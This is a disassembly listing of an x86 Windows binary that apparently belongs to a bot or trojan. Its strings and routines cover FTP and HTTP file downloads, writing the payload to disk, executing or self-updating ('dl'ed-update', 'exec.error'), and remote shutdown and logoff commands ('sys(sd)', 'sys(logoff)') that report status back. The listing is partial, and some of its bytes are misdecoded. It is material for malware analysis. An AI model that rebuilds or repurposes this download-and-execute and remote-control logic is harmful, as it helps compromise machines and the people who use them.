; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_401B4Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D640	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D6D0	proc near		; CODE XREF: sub_4014BAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D6D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D770	proc near		; CODE XREF: sub_4021E9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D830:				; CODE XREF: ___:00401168j
					; ___:loc_4019F6j
		push	esi
		mov	esi, ecx
		call	sub_4015CD
		test	byte ptr [esp+8], 1
		jz	short loc_41D848
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D848:				; CODE XREF: ___:0041D83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D860	proc near		; CODE XREF: sub_4015CDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D930	proc near		; CODE XREF: sub_401C94j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43C3F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_448F40
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ebx, [esi+65h]
		push	offset byte_448F40
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ecx, [esi+26h]
		push	offset byte_448F40
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D9D1
		push	offset byte_448F40
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D9C4
		push	offset byte_448F40
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D9D1


loc_41D9C4:				; CODE XREF: sub_41D930+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41E03D
; ---------------------------------------------------------------------------


loc_41D9D1:				; CODE XREF: sub_41D930+70j
					; sub_41D930+92j
		push	offset asc_444C7C ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41DA5E
		push	offset asc_444C7C ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41DA6F


loc_41DA5E:				; CODE XREF: sub_41D930+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41DA6F:				; CODE XREF: sub_41D930+12Cj
		push	offset asc_444C7C ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FDC
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2810000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015E1
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DC04
		call	sub_401E1F
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		call	sub_401A7D
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DB1C
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41E014
; ---------------------------------------------------------------------------


loc_41DB1C:				; CODE XREF: sub_41D930+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017EE
		push	eax
		call	sub_402266
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DB73
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DB73:				; CODE XREF: sub_41D930+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_4016B3
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DBF2
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DBF2:				; CODE XREF: sub_41D930+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D66
		add	esp, 4
		jmp	loc_41DE7B
; ---------------------------------------------------------------------------


loc_41DC04:				; CODE XREF: sub_41D930+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_40142E
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_40142E
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017EE
		push	eax
		call	sub_401AA0
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DC87
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 0B7h, 0B9h
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DC87:				; CODE XREF: sub_41D930+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017EE
		push	eax
		push	ebx
		call	near ptr 71AB428Ah
		nop
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017EE
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DD80
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41E048
; ---------------------------------------------------------------------------


loc_41DD80:				; CODE XREF: sub_41D930+3DBj
					; sub_41D930+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DDF8
		cmp	ebp, 1000h
		jge	short loc_41DDB0
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DDB0:				; CODE XREF: sub_41D930+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DD80


loc_41DDB6:				; CODE XREF: sub_41D930+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_444EE0 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DDD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDB6
		jmp	short loc_41DD80
; ---------------------------------------------------------------------------


loc_41DDD9:				; CODE XREF: sub_41D930+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DDF8


loc_41DDE0:				; CODE XREF: sub_41D930+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDE0


loc_41DDF8:				; CODE XREF: sub_41D930+46Ej
					; sub_41D930+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DE48
		cmp	ebp, 1000h
		jge	short loc_41DE28
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DE28:				; CODE XREF: sub_41D930+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DDF8


loc_41DE2E:				; CODE XREF: sub_41D930+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DE2E
		jmp	short loc_41DDF8
; ---------------------------------------------------------------------------


loc_41DE48:				; CODE XREF: sub_41D930+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DE7B:				; CODE XREF: sub_41D930+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DF17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41E00C
		push	offset byte_448F40
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		jmp	loc_41E00C
; ---------------------------------------------------------------------------


loc_41DF17:				; CODE XREF: sub_41D930+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+90h+var_40]
		push	51h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		call	sub_402167
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DFE7
		mov	al, byte_4498A6
		test	al, al
		jz	short loc_41DFB6
		push	offset dword_449844
		mov	ecx, offset dword_44AD80
		call	sub_401451


loc_41DFB6:				; CODE XREF: sub_41D930+675j
		mov	al, byte_4498EF
		test	al, al
		jz	short loc_41DFCE
		push	offset byte_44991F
		mov	ecx, offset dword_44AD80
		call	sub_401951


loc_41DFCE:				; CODE XREF: sub_41D930+68Dj
		mov	ecx, offset dword_44AD80
		call	sub_401E79
		push	1
		mov	byte_4E8E54, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DFE7:				; CODE XREF: sub_41D930+66Cj
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118


loc_41E00C:				; CODE XREF: sub_41D930+597j
					; sub_41D930+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41E014:				; CODE XREF: sub_41D930+1E7j
		push	edx


loc_41E015:				; CODE XREF: sub_41D930+23Ej
					; sub_41D930+2BDj
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41E048
; ---------------------------------------------------------------------------


loc_41E035:				; CODE XREF: sub_41D930+36j
					; sub_41D930+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41E03D:				; CODE XREF: sub_41D930+9Cj
		push	eax
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
sub_41D930	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D930


loc_41E048:				; CODE XREF: sub_41D930+44Bj
					; sub_41D930+703j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D930
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E240	proc near		; CODE XREF: sub_401BA4j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_41E240	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E3C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E41B
		push	offset dword_444FE4
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		push	0
		push	6
		call	near ptr 28A0C78h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E41B:				; CODE XREF: ___:0041E3DEj
		lea	ecx, [esi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E46A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 28A0C78h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E46A:				; CODE XREF: ___:0041E42Dj
		lea	ecx, [esi+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E4B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 28A0C78h


loc_41E4B1:				; CODE XREF: ___:0041E47Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E500	proc near		; CODE XREF: sub_401F7Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_41E500	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017EE
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E760	proc near		; CODE XREF: sub_40161Dj

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
